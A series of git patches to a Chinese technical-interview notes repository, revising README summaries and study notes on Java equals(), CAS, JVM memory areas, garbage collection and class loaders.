+实现了 Gof 的 23 种设计模式。
 
 > [面向对象思想](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/面向对象思想.md)
 
-内容包括三大原则（继承、封装、多态）、类图、设计原则。
+三大原则（继承、封装、多态）、类图、设计原则。
 
 ## 数据库 :floppy_disk:
 
 > [数据库系统原理](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/数据库系统原理.md)
 
-参考 数据库系统原理。
+事务、锁、隔离级别、MVCC、间隙锁、范式。
 
 > [SQL](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/SQL.md)
 
-参考 SQL 必知必会。
+SQL 基本语法。
 
 > [Leetcode-Database 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Leetcode-Database%20题解.md)
 
@@ -75,33 +75,33 @@ Leetcode 上数据库题目的解题记录。
 
 > [MySQL](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/MySQL.md)
 
-参考 高性能 MySQL。
+存储引擎、索引、查询优化、切分、复制。
 
 > [Redis](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Redis.md)
 
-参考 Redis 设计与实现、Redis 实战。
+五种数据类型、字典和跳跃表数据结构、使用场景、和 Memcache 的比较、淘汰策略、持久化、文件事件的 Reactor 模式、复制。
 
 ## Java :coffee:
 
 > [Java 基础](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20基础.md)
 
-参考 Effective Java、Java 编程思想，也有部分内容参考官方文档以及 StackOverflow。
+不会涉及很多基本语法介绍，主要是一些实现原理以及关键特性。
 
 > [Java 容器](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20容器.md)
 
-包含容器源码分析。
+源码分析：ArrayListVector、CopyOnWriteArrayList、LinkedList、HashMap、ConcurrentHashMap、LinkedHashMap、WeekHashMap。
 
 > [Java 并发](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20并发.md)
 
-参考 Java 编程思想、深入理解 Java 虚拟机。
+线程使用方式、两种互斥同步方法、线程协作、JUC、线程安全、内存模型、锁优化。
 
 > [Java 虚拟机](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20虚拟机.md)
 
-参考 深入理解 Java 虚拟机。
+运行时数据区域、垃圾收集、类加载。
 
 > [Java I/O](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20IO.md)
 
-包含 NIO 的原理以及实例。
+NIO 的原理以及实例。
 
 ## 系统设计 :bulb:
 
@@ -141,11 +141,11 @@ Docker 基本原理。
 
 > [正则表达式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/正则表达式.md)
 
-参考 正则表达式必知必会。
+正则表达式基本语法。
 
 > [构建工具](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/构建工具.md)
 
-构建工具的基本概念、主流构建工具介绍
+构建工具的基本概念、主流构建工具介绍。
 
 ## 编码实践 :speak_no_evil:
 

From 9cd8b3ae9631d73b5d94d4022b468e8a60682c04 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Fri, 3 Aug 2018 14:40:33 +0800
Subject: [PATCH 53/87] auto commit

---
 BOOKLIST.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/BOOKLIST.md b/BOOKLIST.md
index bdd8eb92..4805a7dc 100644
--- a/BOOKLIST.md
+++ b/BOOKLIST.md
@@ -79,4 +79,4 @@
 
 - [JavaScript 语言精粹](https://book.douban.com/subject/3590768/)
 - [利用 Python 进行数据分析](https://book.douban.com/subject/25779298/)
-- [概率论与数理统计](https://book.douban.com/subject/2201479/)
\ No newline at end of file
+- [概率论与数理统计](https://book.douban.com/subject/2201479/)

From 282c863ea73abda808654ad706bb71b6b0eccd72 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Fri, 3 Aug 2018 14:40:51 +0800
Subject: [PATCH 54/87] auto commit


From a22b269f3906582b36f3a75708d87d17ed1a2488 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Fri, 3 Aug 2018 14:43:42 +0800
Subject: [PATCH 55/87] auto commit


From 2f4f1c814411214475372d73aac7fdf836fe55cd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Fri, 3 Aug 2018 14:44:06 +0800
Subject: [PATCH 56/87] auto commit

---
 .gitignore | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.gitignore b/.gitignore
index e43b0f98..a56b7514 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1 +1,2 @@
 .DS_Store
+ 

From 4c69f7a7cc83c552655e27f72a7d91cd42ef1658 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Fri, 3 Aug 2018 15:31:36 +0800
Subject: [PATCH 57/87] auto commit

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 87d4d460..39b43f30 100644
--- a/README.md
+++ b/README.md
@@ -15,7 +15,7 @@
 
 > [剑指 Offer 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/剑指%20offer%20题解.md)
 
-目录根据原书第二版进行编排，代码和原书有所不同，尽量实现地比原书更加简洁。
+目录根据原书第二版进行编排，代码和原书有所不同，尽量比原书更简洁。
 
 > [Leetcode 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Leetcode%20题解.md)
 

From 0e7655e7aeea75fe027849315d45691280067e82 Mon Sep 17 00:00:00 2001
From: Elong <peielcn@gmail.com>
Date: Fri, 3 Aug 2018 18:42:53 +0800
Subject: [PATCH 58/87] =?UTF-8?q?Update=20Java=20=E5=9F=BA=E7=A1=80.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

equals()方法的文字描述修改
---
 notes/Java 基础.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/Java 基础.md b/notes/Java 基础.md
index 0bce5622..1e20ea55 100644
--- a/notes/Java 基础.md	
+++ b/notes/Java 基础.md	
@@ -586,7 +586,7 @@ protected void finalize() throws Throwable {}
 **1. equals() 与 == 的区别** 
 
 - 对于基本类型，== 判断两个值是否相等，基本类型没有 equals() 方法。
-- 对于引用类型，== 判断两个实例是否引用同一个对象，而 equals() 判断引用的对象是否等价。
+- 对于引用类型，== 判断两个实例是否引用同一个对象，而 equals() 则是根据引用的对象的 equals() 方法的具体实现来进行比较。
 
 ```java
 Integer x = new Integer(1);

From bb6d5e49790664dd8b756cc11660fd4878c2b966 Mon Sep 17 00:00:00 2001
From: luocaodan <luocaodan@buaa.edu.cn>
Date: Sat, 4 Aug 2018 11:23:03 +0800
Subject: [PATCH 59/87] =?UTF-8?q?Update=20Java=20=E8=99=9A=E6=8B=9F?=
 =?UTF-8?q?=E6=9C=BA.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

应该是jre目录下，而不是jdk目录
---
 notes/Java 虚拟机.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notes/Java 虚拟机.md b/notes/Java 虚拟机.md
index 3bb9f289..dbe4e070 100644
--- a/notes/Java 虚拟机.md	
+++ b/notes/Java 虚拟机.md	
@@ -627,9 +627,9 @@ public static void main(String[] args) {
 
 从 Java 开发人员的角度看，类加载器可以划分得更细致一些：
 
-- 启动类加载器（Bootstrap ClassLoader）此类加载器负责将存放在 &lt;JAVA_HOME>\lib 目录中的，或者被 -Xbootclasspath 参数所指定的路径中的，并且是虚拟机识别的（仅按照文件名识别，如 rt.jar，名字不符合的类库即使放在 lib 目录中也不会被加载）类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用，用户在编写自定义类加载器时，如果需要把加载请求委派给启动类加载器，直接使用 null 代替即可。
+- 启动类加载器（Bootstrap ClassLoader）此类加载器负责将存放在 &lt;JRE_HOME>\lib 目录中的，或者被 -Xbootclasspath 参数所指定的路径中的，并且是虚拟机识别的（仅按照文件名识别，如 rt.jar，名字不符合的类库即使放在 lib 目录中也不会被加载）类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用，用户在编写自定义类加载器时，如果需要把加载请求委派给启动类加载器，直接使用 null 代替即可。
 
-- 扩展类加载器（Extension ClassLoader）这个类加载器是由 ExtClassLoader（sun.misc.Launcher$ExtClassLoader）实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中，开发者可以直接使用扩展类加载器。
+- 扩展类加载器（Extension ClassLoader）这个类加载器是由 ExtClassLoader（sun.misc.Launcher$ExtClassLoader）实现的。它负责将 &lt;JRE_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中，开发者可以直接使用扩展类加载器。
 
 - 应用程序类加载器（Application ClassLoader）这个类加载器是由 AppClassLoader（sun.misc.Launcher$AppClassLoader）实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值，因此一般称为系统类加载器。它负责加载用户类路径（ClassPath）上所指定的类库，开发者可以直接使用这个类加载器，如果应用程序中没有自定义过自己的类加载器，一般情况下这个就是程序中默认的类加载器。
 

From b9f9e9807e771074fe13dd04b048782ac6a4444f Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 4 Aug 2018 16:59:09 +0800
Subject: [PATCH 60/87] auto commit

---
 .gitignore           | 2 +-
 notes/Java 基础.md   | 2 +-
 notes/Java 并发.md   | 4 +++-
 notes/Java 虚拟机.md | 2 +-
 4 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/.gitignore b/.gitignore
index a56b7514..c91a56b6 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,2 +1,2 @@
 .DS_Store
- 
+*.txt
diff --git a/notes/Java 基础.md b/notes/Java 基础.md
index 1e20ea55..f5133a6f 100644
--- a/notes/Java 基础.md	
+++ b/notes/Java 基础.md	
@@ -586,7 +586,7 @@ protected void finalize() throws Throwable {}
 **1. equals() 与 == 的区别** 
 
 - 对于基本类型，== 判断两个值是否相等，基本类型没有 equals() 方法。
-- 对于引用类型，== 判断两个实例是否引用同一个对象，而 equals() 则是根据引用的对象的 equals() 方法的具体实现来进行比较。
+- 对于引用类型，== 判断两个实例是否引用同一个对象，而 equals() 判断引用的对象是否等价，根据引用的对象的 equals() 方法的具体实现来进行比较。
 
 ```java
 Integer x = new Integer(1);
diff --git a/notes/Java 并发.md b/notes/Java 并发.md
index 627b824f..89ab7cac 100644
--- a/notes/Java 并发.md	
+++ b/notes/Java 并发.md	
@@ -1419,7 +1419,9 @@ public final int incrementAndGet() {
 }
 ```
 
-以下代码是 getAndAddInt() 源码，var1 指示对象内存地址，var2 指示该字段相对对象内存地址的偏移，var4 指示操作需要加的数值，这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值，通过调用 compareAndSwapInt() 来进行 CAS 比较，如果 该字段内存地址中的值 ==var5，那么就更新内存地址为 var1+var2 的变量为 var5+var4。可以看到 getAndAddInt() 在一个循环中进行，发生冲突的做法是不断的进行重试。
+以下代码是 getAndAddInt() 源码，var1 指示对象内存地址，var2 指示该字段相对对象内存地址的偏移，var4 指示操作需要加的数值，这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值，通过调用 compareAndSwapInt() 来进行 CAS 比较，如果该字段内存地址中的值 ==var5，那么就更新内存地址为 var1+var2 的变量为 var5+var4。
+
+可以看到 getAndAddInt() 在一个循环中进行，发生冲突的做法是不断的进行重试。
 
 ```java
 public final int getAndAddInt(Object var1, long var2, int var4) {
diff --git a/notes/Java 虚拟机.md b/notes/Java 虚拟机.md
index dbe4e070..ec33515e 100644
--- a/notes/Java 虚拟机.md	
+++ b/notes/Java 虚拟机.md	
@@ -627,7 +627,7 @@ public static void main(String[] args) {
 
 从 Java 开发人员的角度看，类加载器可以划分得更细致一些：
 
-- 启动类加载器（Bootstrap ClassLoader）此类加载器负责将存放在 &lt;JRE_HOME>\lib 目录中的，或者被 -Xbootclasspath 参数所指定的路径中的，并且是虚拟机识别的（仅按照文件名识别，如 rt.jar，名字不符合的类库即使放在 lib 目录中也不会被加载）类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用，用户在编写自定义类加载器时，如果需要把加载请求委派给启动类加载器，直接使用 null 代替即可。
+- 启动类加载器（Bootstrap ClassLoader）此类加载器负责将存放在 &lt;JAVA_HOME>\lib 目录中的，或者被 -Xbootclasspath 参数所指定的路径中的，并且是虚拟机识别的（仅按照文件名识别，如 rt.jar，名字不符合的类库即使放在 lib 目录中也不会被加载）类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用，用户在编写自定义类加载器时，如果需要把加载请求委派给启动类加载器，直接使用 null 代替即可。
 
 - 扩展类加载器（Extension ClassLoader）这个类加载器是由 ExtClassLoader（sun.misc.Launcher$ExtClassLoader）实现的。它负责将 &lt;JRE_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中，开发者可以直接使用扩展类加载器。
 

From 336fa4f50f8b14518edc95f8a79bb1d59c40521e Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 4 Aug 2018 17:00:36 +0800
Subject: [PATCH 61/87] auto commit

---
 notes/Java 虚拟机.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notes/Java 虚拟机.md b/notes/Java 虚拟机.md
index ec33515e..69952f2e 100644
--- a/notes/Java 虚拟机.md	
+++ b/notes/Java 虚拟机.md	
@@ -627,9 +627,9 @@ public static void main(String[] args) {
 
 从 Java 开发人员的角度看，类加载器可以划分得更细致一些：
 
-- 启动类加载器（Bootstrap ClassLoader）此类加载器负责将存放在 &lt;JAVA_HOME>\lib 目录中的，或者被 -Xbootclasspath 参数所指定的路径中的，并且是虚拟机识别的（仅按照文件名识别，如 rt.jar，名字不符合的类库即使放在 lib 目录中也不会被加载）类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用，用户在编写自定义类加载器时，如果需要把加载请求委派给启动类加载器，直接使用 null 代替即可。
+- 启动类加载器（Bootstrap ClassLoader）此类加载器负责将存放在 &lt;JRE_HOME>\lib 目录中的，或者被 -Xbootclasspath 参数所指定的路径中的，并且是虚拟机识别的（仅按照文件名识别，如 rt.jar，名字不符合的类库即使放在 lib 目录中也不会被加载）类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用，用户在编写自定义类加载器时，如果需要把加载请求委派给启动类加载器，直接使用 null 代替即可。
 
-- 扩展类加载器（Extension ClassLoader）这个类加载器是由 ExtClassLoader（sun.misc.Launcher$ExtClassLoader）实现的。它负责将 &lt;JRE_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中，开发者可以直接使用扩展类加载器。
+- 扩展类加载器（Extension ClassLoader）这个类加载器是由 ExtClassLoader（sun.misc.Launcher$ExtClassLoader）实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中，开发者可以直接使用扩展类加载器。
 
 - 应用程序类加载器（Application ClassLoader）这个类加载器是由 AppClassLoader（sun.misc.Launcher$AppClassLoader）实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值，因此一般称为系统类加载器。它负责加载用户类路径（ClassPath）上所指定的类库，开发者可以直接使用这个类加载器，如果应用程序中没有自定义过自己的类加载器，一般情况下这个就是程序中默认的类加载器。
 

From fc97755cac62e8b12c3f0b0c45b06418947fa4b7 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 4 Aug 2018 18:32:17 +0800
Subject: [PATCH 62/87] auto commit

---
 notes/Java 虚拟机.md                          |  38 +++++++++---------
 pics/926c7438-c5e1-4b94-840a-dcb24ff1dafe.png | Bin 0 -> 19456 bytes
 pics/c9ad2bf4-5580-4018-bce4-1b9a71804d9c.png | Bin 0 -> 30720 bytes
 3 files changed, 19 insertions(+), 19 deletions(-)
 create mode 100644 pics/926c7438-c5e1-4b94-840a-dcb24ff1dafe.png
 create mode 100644 pics/c9ad2bf4-5580-4018-bce4-1b9a71804d9c.png

diff --git a/notes/Java 虚拟机.md b/notes/Java 虚拟机.md
index 69952f2e..4382317b 100644
--- a/notes/Java 虚拟机.md	
+++ b/notes/Java 虚拟机.md	
@@ -1,7 +1,7 @@
 <!-- GFM-TOC -->
 * [一、运行时数据区域](#一运行时数据区域)
     * [程序计数器](#程序计数器)
-    * [虚拟机栈](#虚拟机栈)
+    * [Java 虚拟机栈](#java-虚拟机栈)
     * [本地方法栈](#本地方法栈)
     * [堆](#堆)
     * [方法区](#方法区)
@@ -23,19 +23,19 @@
 
 # 一、运行时数据区域
 
-<div align="center"> <img src="../pics//540631a4-6018-40a5-aed7-081e2eeeaeea.png" width="500"/> </div><br>
+<div align="center"> <img src="../pics//c9ad2bf4-5580-4018-bce4-1b9a71804d9c.png" width="500"/> </div><br>
 
 ## 程序计数器
 
 记录正在执行的虚拟机字节码指令的地址（如果正在执行的是本地方法则为空）。
 
-## 虚拟机栈
+## Java 虚拟机栈
 
-每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。每一个方法从调用直至执行完成的过程，就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
+每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息，从调用直至执行完成的过程，就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
 
-<div align="center"> <img src="../pics//f5757d09-88e7-4bbd-8cfb-cecf55604854.png" width=""/> </div><br>
+<div align="center"> <img src="../pics//926c7438-c5e1-4b94-840a-dcb24ff1dafe.png" width=""/> </div><br>
 
-可以通过 -Xss 这个虚拟机参数来指定一个程序的 Java 虚拟机栈内存大小：
+可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小：
 
 ```java
 java -Xss=512M HackTheJava
@@ -56,27 +56,22 @@ java -Xss=512M HackTheJava
 
 ## 堆
 
-所有对象实例都在这里分配内存。
+所有对象实例都在这里分配内存，是垃圾收集的主要区域（"GC 堆"）。
 
-是垃圾收集的主要区域（"GC 堆"）。现代的垃圾收集器基本都是采用分代收集算法，主要思想是针对不同的对象采取不同的垃圾回收算法。虚拟机把 Java 堆分成以下三块：
+现代的垃圾收集器基本都是采用分代收集算法，针对不同的对象采取不同的垃圾回收算法，可以将堆分成两块：
 
 - 新生代（Young Generation）
 - 老年代（Old Generation）
-- 永久代（Permanent Generation）
 
-当一个对象被创建时，它首先进入新生代，之后有可能被转移到老年代中。
-
-新生代存放着大量的生命很短的对象，因此新生代在三个区域中垃圾回收的频率最高。为了更高效地进行垃圾回收，把新生代继续划分成以下三个空间：
+新生代可以继续划分成以下三个空间：
 
 - Eden（伊甸园）
 - From Survivor（幸存者）
 - To Survivor
 
-<div align="center"> <img src="../pics//ppt_img.gif" width=""/> </div><br>
+堆不需要连续内存，并且可以动态增加其内存，增加失败会抛出 OutOfMemoryError 异常。
 
-Java 堆不需要连续内存，并且可以动态增加其内存，增加失败会抛出 OutOfMemoryError 异常。
-
-可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的 Java 堆内存大小，第一个参数设置初始值，第二个参数设置最大值。
+可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的堆内存大小，第一个参数设置初始值，第二个参数设置最大值。
 
 ```java
 java -Xms=1M -Xmx=2M HackTheJava
@@ -86,11 +81,13 @@ java -Xms=1M -Xmx=2M HackTheJava
 
 用于存放已被加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。
 
-和 Java 堆一样不需要连续的内存，并且可以动态扩展，动态扩展失败一样会抛出 OutOfMemoryError 异常。
+和堆一样不需要连续的内存，并且可以动态扩展。
+
+动态扩展失败一样会抛出 OutOfMemoryError 异常。
 
 对这块区域进行垃圾回收的主要目标是对常量池的回收和对类的卸载，但是一般比较难实现。
 
-JDK 1.7 之前，HotSpot 虚拟机把它当成永久代来进行垃圾回收，JDK 1.8 之后，取消了永久代，用 metaspace（元数据）区替代。
+JDK 1.7 之前，HotSpot 虚拟机把它当成永久代来进行垃圾回收。但是从 JDK 1.7 开始，已经把原本放在永久代的字符串常量池移到 Native Method 中。
 
 ## 运行时常量池
 
@@ -102,7 +99,9 @@ Class 文件中的常量池（编译器生成的各种字面量和符号引用
 
 ## 直接内存
 
-在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为避免了在 Java 堆和 Native 堆中来回复制数据。
+在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。
+
+这样能在一些场景中显著提高性能，因为避免了在 Java 堆和 Native 堆中来回复制数据。
 
 # 二、垃圾收集
 
@@ -751,6 +750,7 @@ public class FileSystemClassLoader extends ClassLoader {
 # 参考资料
 
 - 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
+- [Chapter 2. The Structure of the Java Virtual Machine](https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-2.html#jvms-2.5.4)
 - [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
 - [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
 - [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
diff --git a/pics/926c7438-c5e1-4b94-840a-dcb24ff1dafe.png b/pics/926c7438-c5e1-4b94-840a-dcb24ff1dafe.png
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From e610e0fb102c9b59c86a9d153f157866dd2db73a Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 4 Aug 2018 19:21:15 +0800
Subject: [PATCH 63/87] auto commit

---
 notes/Java 虚拟机.md               |  69 +++++++++++++----------------
 pics/JNI-Java-Native-Interface.jpg | Bin 0 -> 39936 bytes
 2 files changed, 31 insertions(+), 38 deletions(-)
 create mode 100644 pics/JNI-Java-Native-Interface.jpg

diff --git a/notes/Java 虚拟机.md b/notes/Java 虚拟机.md
index 4382317b..136ca5ad 100644
--- a/notes/Java 虚拟机.md	
+++ b/notes/Java 虚拟机.md	
@@ -23,7 +23,7 @@
 
 # 一、运行时数据区域
 
-<div align="center"> <img src="../pics//c9ad2bf4-5580-4018-bce4-1b9a71804d9c.png" width="500"/> </div><br>
+<div align="center"> <img src="../pics//c9ad2bf4-5580-4018-bce4-1b9a71804d9c.png" width="400"/> </div><br>
 
 ## 程序计数器
 
@@ -33,7 +33,7 @@
 
 每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息，从调用直至执行完成的过程，就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
 
-<div align="center"> <img src="../pics//926c7438-c5e1-4b94-840a-dcb24ff1dafe.png" width=""/> </div><br>
+<div align="center"> <img src="../pics//926c7438-c5e1-4b94-840a-dcb24ff1dafe.png" width="450"/> </div><br>
 
 可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小：
 
@@ -52,7 +52,9 @@ java -Xss=512M HackTheJava
 
 与 Java 虚拟机栈类似，它们之间的区别只不过是本地方法栈为本地方法服务。
 
-<div align="center"> <img src="../pics//JNIFigure1.gif" width="350"/> </div><br>
+本地方法一般是用其它语言（C、C++ 或汇编语言等）编写的, 并且被编译为基于本机硬件和操作系统的程序。
+
+<div align="center"> <img src="../pics//JNI-Java-Native-Interface.jpg" width="350"/> </div><br>
 
 ## 堆
 
@@ -105,7 +107,9 @@ Class 文件中的常量池（编译器生成的各种字面量和符号引用
 
 # 二、垃圾收集
 
-程序计数器、虚拟机栈和本地方法栈这三个区域属于线程私有的，只存在于线程的生命周期内，线程结束之后也会消失，因此不需要对这三个区域进行垃圾回收。垃圾回收主要是针对 Java 堆和方法区进行。
+垃圾回收主要是针对堆和方法区进行。
+
+程序计数器、虚拟机栈和本地方法栈这三个区域属于线程私有的，只存在于线程的生命周期内，线程结束之后也会消失，因此不需要对这三个区域进行垃圾回收。
 
 ## 判断一个对象是否存活
 
@@ -115,6 +119,8 @@ Class 文件中的常量池（编译器生成的各种字面量和符号引用
 
 两个对象出现循环引用的情况下，此时引用计数器永远不为 0，导致无法对它们进行回收。
 
+正因为循环引用的存在，因此 Java 虚拟机不使用引用计数算法。
+
 ```java
 public class ReferenceCountingGC {
     public Object instance = null;
@@ -128,8 +134,6 @@ public class ReferenceCountingGC {
 }
 ```
 
-正因为循环引用的存在，因此 Java 虚拟机不使用引用计数算法。
-
 ### 2. 可达性分析算法
 
 通过 GC Roots 作为起始点进行搜索，能够到达到的对象都是存活的，不可达的对象可被回收。
@@ -151,7 +155,7 @@ Java 具有四种强度不同的引用类型。
 
 **（一）强引用** 
 
-被强引用关联的对象不会被垃圾收集器回收。
+被强引用关联的对象不会被回收。
 
 使用 new 一个新对象的方式来创建强引用。
 
@@ -161,7 +165,7 @@ Object obj = new Object();
 
 **（二）软引用** 
 
-被软引用关联的对象，只有在内存不够的情况下才会被回收。
+被软引用关联的对象只有在内存不够的情况下才会被回收。
 
 使用 SoftReference 类来创建软引用。
 
@@ -173,7 +177,7 @@ obj = null;  // 使对象只被软引用关联
 
 **（三）弱引用** 
 
-被弱引用关联的对象一定会被垃圾收集器回收，也就是说它只能存活到下一次垃圾收集。
+被弱引用关联的对象一定会被回收，也就是说它只能存活到下一次垃圾收集。
 
 使用 WeakReference 类来实现弱引用。
 
@@ -187,7 +191,7 @@ obj = null;
 
 又称为幽灵引用或者幻影引用。一个对象是否有虚引用的存在，完全不会对其生存时间构成影响，也无法通过虚引用取得一个对象实例。
 
-为一个对象设置虚引用关联的唯一目的就是能在这个对象被收集器回收时收到一个系统通知。
+为一个对象设置虚引用关联的唯一目的就是能在这个对象被回收时收到一个系统通知。
 
 使用 PhantomReference 来实现虚引用。
 
@@ -199,20 +203,20 @@ obj = null;
 
 ### 4. 方法区的回收
 
-因为方法区主要存放永久代对象，而永久代对象的回收率比新生代差很多，因此在方法区上进行回收性价比不高。
+因为方法区主要存放永久代对象，而永久代对象的回收率比新生代低很多，因此在方法区上进行回收性价比不高。
 
 主要是对常量池的回收和对类的卸载。
 
+在大量使用反射、动态代理、CGLib 等 ByteCode 框架、动态生成 JSP 以及 OSGi 这类频繁自定义 ClassLoader 的场景都需要虚拟机具备类卸载功能，以保证不会出现内存溢出。
+
 类的卸载条件很多，需要满足以下三个条件，并且满足了也不一定会被卸载：
 
-- 该类所有的实例都已经被回收，也就是 Java 堆中不存在该类的任何实例。
+- 该类所有的实例都已经被回收，也就是堆中不存在该类的任何实例。
 - 加载该类的 ClassLoader 已经被回收。
-- 该类对应的 java.lang.Class 对象没有在任何地方被引用，也就无法在任何地方通过反射访问该类方法。
+- 该类对应的 Class 对象没有在任何地方被引用，也就无法在任何地方通过反射访问该类方法。
 
 可以通过 -Xnoclassgc 参数来控制是否对类进行卸载。
 
-在大量使用反射、动态代理、CGLib 等 ByteCode 框架、动态生成 JSP 以及 OSGi 这类频繁自定义 ClassLoader 的场景都需要虚拟机具备类卸载功能，以保证不会出现内存溢出。
-
 ### 5. finalize()
 
 finalize() 类似 C++ 的析构函数，用来做关闭外部资源等工作。但是 try-finally 等方式可以做的更好，并且该方法运行代价高昂，不确定性大，无法保证各个对象的调用顺序，因此最好不要使用。
@@ -246,16 +250,18 @@ finalize() 类似 C++ 的析构函数，用来做关闭外部资源等工作。
 
 主要不足是只使用了内存的一半。
 
-现在的商业虚拟机都采用这种收集算法来回收新生代，但是并不是将内存划分为大小相等的两块，而是分为一块较大的 Eden 空间和两块较小的 Survivor 空间，每次使用 Eden 空间和其中一块 Survivor。在回收时，将 Eden 和 Survivor 中还存活着的对象一次性复制到另一块 Survivor 空间上，最后清理 Eden 和使用过的那一块 Survivor。HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1，保证了内存的利用率达到 90%。如果每次回收有多于 10% 的对象存活，那么一块 Survivor 空间就不够用了，此时需要依赖于老年代进行分配担保，也就是借用老年代的空间存储放不下的对象。
+现在的商业虚拟机都采用这种收集算法来回收新生代，但是并不是将新生代划分为大小相等的两块，而是分为一块较大的 Eden 空间和两块较小的 Survivor 空间，每次使用 Eden 空间和其中一块 Survivor。在回收时，将 Eden 和 Survivor 中还存活着的对象一次性复制到另一块 Survivor 空间上，最后清理 Eden 和使用过的那一块 Survivor。
+
+HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1，保证了内存的利用率达到 90%。如果每次回收有多于 10% 的对象存活，那么一块 Survivor 空间就不够用了，此时需要依赖于老年代进行分配担保，也就是借用老年代的空间存储放不下的对象。
 
 ### 4. 分代收集
 
 现在的商业虚拟机采用分代收集算法，它根据对象存活周期将内存划分为几块，不同块采用适当的收集算法。
 
-一般将 Java 堆分为新生代和老年代。
+一般将堆分为新生代和老年代。
 
 - 新生代使用：复制算法
-- 老年代使用：标记 - 清理 或者 标记 - 整理 算法
+- 老年代使用：标记 - 清除 或者 标记 - 整理 算法
 
 ## 垃圾收集器
 
@@ -263,8 +269,8 @@ finalize() 类似 C++ 的析构函数，用来做关闭外部资源等工作。
 
